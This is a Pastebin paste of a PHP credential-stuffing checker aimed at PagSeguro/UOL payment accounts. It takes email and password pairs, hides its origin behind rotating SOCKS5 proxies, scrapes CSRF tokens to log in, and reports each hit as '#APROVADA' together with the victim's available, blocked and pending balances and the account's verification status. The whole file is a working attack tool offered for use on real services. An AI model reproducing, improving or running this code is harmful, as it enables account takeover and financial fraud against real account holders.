Advertisement
Guest User

Untitled

a guest
Mar 27th, 2018
871
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.26 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. set_time_limit(0);
  4.  
  5. function getStr($string, $start, $end) {
  6. $str = explode($start, $string);
  7. $str = explode($end, $str[1]);
  8. return $str[0];
  9. }
  10.  
  11. $lista = $_GET['lista'];
  12. $separa = explode("|", $lista);
  13. $email = trim($separa[0]);
  14. $senha = trim($separa[1]);
  15.  
  16.  
  17.  
  18. $f = file_get_contents("http://gimmeproxy.com/api/getProxy?coutry=BR&api_key=5a1a1257-cf8a-4975-b2fb-f01f13a3d023&protocol=SOCKS5&br");
  19. $json = json_decode($f);//'-'
  20. $proxy = $json->ipPort;
  21.  
  22.  
  23.  
  24. function letras($length = 16) {
  25. $characters = 'd68059d654c8589b';
  26. $charactersLength = strlen($characters);
  27. $randomString = '';
  28. for ($i = 0; $i < $length; $i++) {
  29. $randomString .= $characters[rand(0, $charactersLength - 1)];
  30. }
  31. return $randomString;
  32. }
  33.  
  34. $fuuid = letras();
  35.  
  36. $random = rand(10000, 100000000); // ISSO AQUI É UM RANDOM QUE EU FIZ APENAS PRA ELE GERAR O COOKIE SEM O MESMO NOME (PRA NAO DAR CONFLITO)
  37. $ch = curl_init();
  38. curl_setopt($ch, CURLOPT_URL, "https://acesso.uol.com.br/login.html?skin=ps");
  39. curl_setopt($ch, CURLOPT_PROXY, "186.193.26.106:3128");
  40. curl_setopt($ch, CURLOPT_HEADER, 1);
  41. curl_setopt($ch, CURLOPT_NOBODY, false);
  42. curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  43. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  44. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  45. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  46. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  47. curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  48. curl_setopt($ch, CURLOPT_PROXY, $proxy);
  49. curl_setopt($ch, CURLOPT_COOKIESESSION, false );
  50. curl_setopt($ch, CURLOPT_ENCODING, 'gzip');
  51. curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'/cookies/pagseguro.txt');
  52. curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/cookies/pagseguro.txt');
  53. curl_setopt($ch, CURLOPT_REFERER, 'https://acesso.uol.com.br/login.html?skin=ps');
  54. curl_setopt($ch, CURLOPT_VERBOSE, 1);
  55. $d1 = curl_exec($ch);
  56. $token = getStr($d1,'type="hidden" name="acsrfToken" value="','"');
  57. curl_setopt($ch, CURLOPT_URL, "https://acesso.uol.com.br/login.html?skin=ps");
  58. curl_setopt($ch, CURLOPT_HEADER, 1);
  59. curl_setopt($ch, CURLOPT_NOBODY, false);
  60. curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  61. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  62. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  63. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  64. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  65. curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  66. curl_setopt($ch, CURLOPT_PROXY, $proxy);
  67. curl_setopt($ch, CURLOPT_COOKIESESSION, false );
  68. curl_setopt($ch, CURLOPT_ENCODING, 'gzip');
  69. curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'/cookies/pagseguro.txt');
  70. curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/cookies/pagseguro.txt');
  71. curl_setopt($ch, CURLOPT_REFERER, 'https://acesso.uol.com.br/login.html?skin=ps');
  72. curl_setopt($ch, CURLOPT_VERBOSE, 1);
  73. curl_setopt($ch, CURLOPT_POST, 1);
  74. curl_setopt($ch, CURLOPT_POSTFIELDS, 'dest=REDIR%7Chttps%3A%2F%2Fpagseguro.uol.com.br%2F&deviceId=&skin=ps&user='.$email.'&pass='.$senha.'&entrar=');
  75. $d2 = curl_exec($ch);
  76. curl_close($ch);
  77. if(stripos($d2, 'Comprar')){
  78. $ch = curl_init();
  79. curl_setopt($ch, CURLOPT_URL, "https://pagseguro.uol.com.br/account/wallet.jhtml");
  80. curl_setopt($ch, CURLOPT_HEADER, 1);
  81. curl_setopt($ch, CURLOPT_NOBODY, false);
  82. curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  83. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  84. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  85. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  86. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  87. curl_setopt($ch, CURLOPT_COOKIESESSION, false );
  88. curl_setopt($ch, CURLOPT_ENCODING, 'gzip');
  89. curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'/cookies/pagseguro.txt');
  90. curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/cookies/pagseguro.txt');
  91. curl_setopt($ch, CURLOPT_REFERER, 'https://pagseguro.uol.com.br/login.jhtml');
  92. curl_setopt($ch, CURLOPT_VERBOSE, 1);
  93. $d3 = curl_exec($ch);
  94. $token = getStr($d3,'type="hidden" name="acsrfToken" value="','"');
  95. curl_setopt($ch, CURLOPT_URL, "https://pagseguro.uol.com.br/login.jhtml");
  96. curl_setopt($ch, CURLOPT_HEADER, 1);
  97. curl_setopt($ch, CURLOPT_NOBODY, false);
  98. curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  99. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  100. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  101. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  102. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  103. curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  104. curl_setopt($ch, CURLOPT_PROXY, $proxy);
  105. curl_setopt($ch, CURLOPT_COOKIESESSION, false );
  106. curl_setopt($ch, CURLOPT_ENCODING, 'gzip');
  107. curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'/cookies/pagseguro.txt');
  108. curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/cookies/pagseguro.txt');
  109. curl_setopt($ch, CURLOPT_REFERER, 'https://pagseguro.uol.com.br/login.jhtml');
  110. curl_setopt($ch, CURLOPT_VERBOSE, 1);
  111. curl_setopt($ch, CURLOPT_POST, 1);
  112. curl_setopt($ch, CURLOPT_POSTFIELDS, 'dest=+REDIR%7Chttps://pagseguro.uol.com.br/hub.jhtml&skin=&acsrfToken='.$token.'&user='.$email.'&pass='.$senha.'');
  113. $d4 = curl_exec($ch);
  114. if(stripos($d4, '<div class="logged-user-info">')){
  115. if(strpos($d4, 'verificar conta')){
  116. $verificada = "Conta Não Verificada";
  117. }else{
  118. $verificada = "Conta Verificada";
  119. }
  120. $tipo = getStr($d4,'href="/account/viewDetails.jhtml" title="','"');
  121.  
  122. $disponivel = getStr($d4,'<dd id="accountBalance" class="positive">','</dd>');
  123. if ($disponivel == false) {
  124. $disponivel = "0,00";
  125. }
  126. $bloqueado = getStr($d4,'<dd id="accountBlocked" class="neutral">','</dd>');
  127. if ($bloqueado == false) {
  128. $bloqueado = "0,00";
  129. }
  130. $receber = getStr($d4,'<dd id="accountEscrow" class="neutral">','</dd>');
  131. if ($receber == false) {
  132. $receber = "0,00";
  133. }
  134. echo "<font color='#04B431' style='font-weight: bold;'>#APROVADA </font> <font color='00FF00'>$lista</font>
  135. | Disponivel: R$ $disponivel | Receber: $receber | Bloqueado: $bloqueado | Tipo: $tipo | $verificada | By @DualRoot";
  136. }else{
  137. echo "<font color='red' style='font-weight: bold;'>#REPROVADA </font> $lista";
  138. }
  139. }else{
  140. echo "<font color='red' style='font-weight: bold;'>#REPROVADA </font> $lista";
  141. }
  142.  
  143.  
  144.  
  145.  
  146. if (file_exists(getcwd().'/cookies/pagseguro.txt')) {
  147. unlink(getcwd().'/cookies/pagseguro.txt');
  148. }
  149.  
  150. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement